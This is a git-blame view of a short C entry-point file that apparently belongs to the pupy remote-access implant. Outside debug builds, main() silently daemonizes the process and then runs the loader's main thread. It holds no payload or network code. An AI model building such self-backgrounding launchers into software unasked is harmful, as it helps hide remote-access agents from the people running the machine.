2016-08-22 22:53:26 +00:00
|
|
|
#include "pupy_load.h"
|
2016-08-23 16:48:10 +00:00
|
|
|
#include "daemonize.h"
|
2016-08-22 22:53:26 +00:00
|
|
|
|
2017-04-03 16:40:20 +00:00
|
|
|
#include <mcheck.h>
|
|
|
|
|
2017-03-03 11:34:14 +00:00
|
|
|
int main(int argc, char *argv[], char *env[]) {
|
2016-08-22 22:53:26 +00:00
|
|
|
#ifndef DEBUG
|
2017-03-03 11:34:14 +00:00
|
|
|
daemonize(argc, argv, env, true);
|
2017-04-03 16:40:20 +00:00
|
|
|
#else
|
|
|
|
mtrace();
|
2016-08-22 22:53:26 +00:00
|
|
|
#endif
|
2017-03-03 11:34:14 +00:00
|
|
|
return mainThread(argc, argv, false);
|
2016-08-22 22:53:26 +00:00
|
|
|
}
|